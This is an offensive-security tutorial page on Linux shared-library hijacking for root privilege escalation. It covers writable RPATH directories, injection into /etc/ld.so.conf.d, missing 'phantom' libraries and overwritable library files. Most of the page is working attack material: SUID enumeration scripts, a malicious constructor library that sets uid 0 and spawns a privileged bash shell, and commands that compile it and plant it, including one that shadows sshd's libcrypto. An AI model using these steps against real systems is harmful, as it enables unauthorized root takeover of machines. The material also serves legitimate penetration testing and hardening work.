Skip to content
HackIndex logo

HackIndex

Shared Library Hijacking for Privilege Escalation

4 min read Jul 14, 2026

When a privileged binary loads shared libraries, it searches several locations in a defined order. If you can write to any directory in that search path before the legitimate library is found, you can intercept the load and execute arbitrary code as the binary's owner. This is distinct from LD_PRELOAD — it works on SUID binaries and system services where LD_PRELOAD is ignored.

Library Search Order

The dynamic linker searches in this order:

  1. RPATH embedded in the binary (hardcoded at compile time)

  2. LD_LIBRARY_PATH environment variable (ignored for SUID/SGID binaries)

  3. RUNPATH embedded in the binary

  4. Paths in /etc/ld.so.conf and /etc/ld.so.conf.d/*.conf

  5. Default paths: /lib, /usr/lib, /lib64, /usr/lib64

For privilege escalation the most valuable targets are RPATH/RUNPATH (work on SUID binaries) and /etc/ld.so.conf.d/ injection (affects system-wide library loading).

Prerequisites Check

Find SUID and root-owned binaries with writable RPATH directories:

# Find all SUID binaries
find / -perm -u=s -type f 2>/dev/null > /tmp/suid_list.txt

# Check RPATH on each
while read binary; do
    rpath=$(readelf -d "$binary" 2>/dev/null | grep -i "rpath\|runpath" | awk '{print $NF}' | tr -d '[]')
    if [ -n "$rpath" ]; then
        echo "$binary -> RPATH: $rpath"
        ls -ld $rpath 2>/dev/null | grep -v "^d..x..x..x\|^d.........\|cannot"
    fi
done < /tmp/suid_list.txt

Technique 1 — RPATH / RUNPATH Writable Directory

If an SUID binary has an RPATH pointing to a directory you can write to, planting a malicious library there takes precedence over all other search paths.

Step 1 — Confirm RPATH and directory writability:

┌──(kali㉿kali)-[~]
└─$ readelf -d /path/to/suid-binary | grep -iE "rpath|runpath"
┌──(kali㉿kali)-[~]
└─$ # e.g. (RPATH) Library rpath: [/opt/app/lib]
 
┌──(kali㉿kali)-[~]
└─$ ls -la /opt/app/lib

Step 2 — Find which library to fake:

┌──(kali㉿kali)-[~]
└─$ ldd /path/to/suid-binary
┌──(kali㉿kali)-[~]
└─$ # e.g. libapp.so.1 => /usr/lib/libapp.so.1

Step 3 — Write the malicious library:

/tmp/hijack.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
┌──(kali㉿kali)-[~]
└─$ gcc -shared -fPIC -nostartfiles -o /opt/app/lib/libapp.so.1 /tmp/hijack.c

Step 4 — Execute the SUID binary:

┌──(kali㉿kali)-[~]
└─$ /path/to/suid-binary

The malicious libapp.so.1 loads from the RPATH directory before the legitimate one in /usr/lib, the constructor fires with root privileges, and you get a shell.

Technique 2 — /etc/ld.so.conf.d/ Injection

If you can write to /etc/ld.so.conf.d/ or create a new config file there, you can prepend any directory to the system-wide library search path. After ldconfig runs (often triggered by package installs or scheduled), your directory takes precedence for all dynamically linked programs.

Step 1 — Confirm write access:

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/ld.so.conf.d/
┌──(kali㉿kali)-[~]
└─$ # Check for world-writable or group-writable
┌──(kali㉿kali)-[~]
└─$ find /etc/ld.so.conf.d/ -writable 2>/dev/null

Step 2 — Add your directory to the search path:

┌──(kali㉿kali)-[~]
└─$ echo "/tmp" > /etc/ld.so.conf.d/privesc.conf
┌──(kali㉿kali)-[~]
└─$ ldconfig 2>/dev/null

If ldconfig requires root, wait for it to be triggered automatically or look for another way. Check if a cron job or package manager triggers it:

┌──(kali㉿kali)-[~]
└─$ grep -r "ldconfig" /etc/cron* /var/spool/cron* 2>/dev/null

Step 3 — Identify the target library:

Find a library loaded by a root-owned process or SUID binary that your fake version will shadow:

┌──(kali㉿kali)-[~]
└─$ # What does a root service load?
┌──(kali㉿kali)-[~]
└─$ ldd /usr/sbin/sshd 2>/dev/null | head -10
┌──(kali㉿kali)-[~]
└─$ # e.g. libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1

Step 4 — Plant the malicious library in /tmp:

/tmp/hijack.c

#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
┌──(kali㉿kali)-[~]
└─$ gcc -shared -fPIC -nostartfiles -o /tmp/libcrypto.so.1.1 /tmp/hijack.c

Wait for the next time the target service restarts or is triggered.

Technique 3 — Missing Library (Phantom Library)

If ldd shows not found for a library that a SUID binary needs, and any directory in the search path is writable, you can provide the missing library yourself.

# Find SUID binaries with missing libraries
find / -perm -u=s -type f 2>/dev/null | while read f; do
    missing=$(ldd "$f" 2>/dev/null | grep "not found")
    [ -n "$missing" ] && echo "$f: $missing"
done

For a missing library like libcustom.so.1:

┌──(kali㉿kali)-[~]
└─$ gcc -shared -fPIC -nostartfiles -o /tmp/libcustom.so.1 /tmp/hijack.c
 
┌──(kali㉿kali)-[~]
└─$ # Or place in any writable directory in the search path
┌──(kali㉿kali)-[~]
└─$ cp /tmp/libcustom.so.1 /usr/local/lib/libcustom.so.1
┌──(kali㉿kali)-[~]
└─$ ldconfig 2>/dev/null

Run the SUID binary — it finds and loads your library.

Technique 4 — Writable Existing Library File

If a library file itself is writable (misconfigured permissions), overwrite it directly:

┌──(kali㉿kali)-[~]
└─$ # Find writable library files
┌──(kali㉿kali)-[~]
└─$ find /lib /usr/lib /lib64 /usr/lib64 -type f -name "*.so*" -writable 2>/dev/null

If found, replace it with your malicious version:

┌──(kali㉿kali)-[~]
└─$ # Backup original
┌──(kali㉿kali)-[~]
└─$ cp /usr/lib/libvulnerable.so.1 /tmp/libvulnerable.so.1.bak
 
┌──(kali㉿kali)-[~]
└─$ # Replace with malicious version
┌──(kali㉿kali)-[~]
└─$ gcc -shared -fPIC -nostartfiles -o /usr/lib/libvulnerable.so.1 /tmp/hijack.c

Any binary linking against that library will execute your constructor on next invocation.

Verify Library is Loading

Trace library loading to confirm your library is being found:

┌──(kali㉿kali)-[~]
└─$ strace /path/to/binary 2>&1 | grep "open.*\.so"
┌──(kali㉿kali)-[~]
└─$ LD_DEBUG=libs /path/to/binary 2>&1 | grep "libname"

Note: LD_DEBUG is ignored for SUID binaries. Use strace instead for those.

References